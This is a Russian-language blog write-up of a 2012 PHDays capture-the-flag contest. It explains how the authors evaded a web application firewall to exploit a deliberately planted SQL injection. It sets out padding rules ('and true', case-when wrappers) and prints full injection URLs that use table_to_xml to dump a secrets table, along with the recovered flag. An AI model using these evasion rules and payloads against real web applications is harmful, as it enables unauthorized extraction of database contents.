10 Июля, 2012

Прохождение конкурса WAF Bypass на PHD’2012

Андрей Петухов

Одним из конкурсов на форуме PHD 2012 был WAF Bypass , который организовала компания ONsec .


Суть конкурса достаточно проста. Дано веб-приложение, принимающее один-единственный параметр. Обработка параметра на стороне веб-приложения осуществляется без должной фильтрации, а сам параметр используется в SQL-запросе. Да-да, наличие недостатка “Возможность внедрения операторов языка SQL” никто не скрывает. Приложение защищено WAF’ом.

Требуется получить данные из таблицы с заданным именем.


Стоит отметить, что задание можно было выполнять с различными backend-СУБД: MySQL и PostgreSQL.


О конкурсе мы с Георгием Носеевичем узнали в конце первого дня форума, добравшись по домам. Одновременно же узнали о выходе предпоследней серии Game of Thrones, которая была немедленно скачана, спасибо LostFilm, и поставлена для просмотра. Достаточно забавно, но мы штурмовали WAF примерно столько же и примерно с такой же композиционной структурой, как и войска Станиса Баратеона – Королевскую Гавань. Только с противоположным исходом :)


Итак, для начала мы должны были понять, чем руководствуется WAF при принятии решений о блокировке/пропуске запросов к приложению. Ключевые слова SQL (UNION, LIMIT, SUBSTRING и пр.) по отдельности и в обычном тексте не фильтровались. Логично: иначе бы на форум, защищенный таким WAF’ом, нельзя было отправить пост про ограничения в Советстком Союзе!

Для знаков пунктуации (точка, запятая, скобки, кавычки) наблюдалось немного другое поведение: в тексте – ок, отдельно – не ок. Дальнейшее исследование данного поведения привело нас к предположению о том, что решение о вредоносности запроса нелинейно зависит от относительной плотности знаков пунктуации. Так, запрос со значением abc.a.bc блокировался, а запрос со значением abc.aaaaaaaaaaaaaaaaaaaaaaa.bc – уже нет.


Далее мы выдвинули рабочую гипотезу о том, что произвольный SQL-запрос можно преобразовать к виду, в котором между любыми двумя соседними знаками пунктуации будет произвольное число обычных знаков, а семантика запроса сохранится прежней.


Гипотеза была отправлена в работу. Смотрели для СУБД postgresql. Итак, вот правила преобразований, которые мы сформулировали:


1. Любое логическое выражение может быть преобразовано к эквивалентному путем добавления произвольного количества конъюнкций с истиной: expr and true.


2. Любое число N может быть представлено в виде case when true then N else 0 end.


3. Любая строка ‘secret’ может быть преобразована к виду substr(case when true then ‘secretsecretsecret’ else null end, 1, 6).


4. Любой вложенный вызов функций f1(f2()) может быть преобразован к виду f1(case when true then f2() else null end).


5. Правила надо применять к целевому SQL-запросу рекурсивно – сначала 4-ое правило для вложенных функций, потом 3-ье правило для строк, потом до тех пор, пока WAF срабатывает, применять правила для преобразования чисел и логических выражений.


Далее Георгий Носеевич реализовал этот алгоритм на Питоне, и мы применили его к базовому SQL-запросу, который мог бы проэксплуатировать уязвимость в отсутствие WAF’а:



http://waf.phdays.com/postgres.php?l=a’||cast(cast(table_to_xml(‘public.secrets’,true,true,login) as text) as integer)–


в результате отработки алгоритма получили вот такой вот вектор:



http://waf.phdays.com/postgres.php?l=a’||cast(case when true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true then cast(case when true and true and true and true and true and true then table_to_xml(case when true then ‘public.secrets’ else login end,true and true, true and true,case when true and true and true and true and true and true and true and true and true and true and true and true and true and true and true then login else login end) when true and true and true and true and true and true and true and true and true and true then null end as text) when true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true then null end as integer)–


и долгожданный флаг – 4e84a5534f3433a6f8277629de58d9bd.


Большое спасибо Владимиру Воронцову за интересный конкурс, в котором мы с большим удовольствием смогли использовать научный подход :)


Сам Владимир написал про идею решения этого конкурса у себя в блоге (да, там, конечно, в квантиллион раз проще, чем у нас!).


И, конечно, отдельное спасибо за призы от организаторов. Даешь новых конкурсов по WAF bypass!



comments powered by Disqus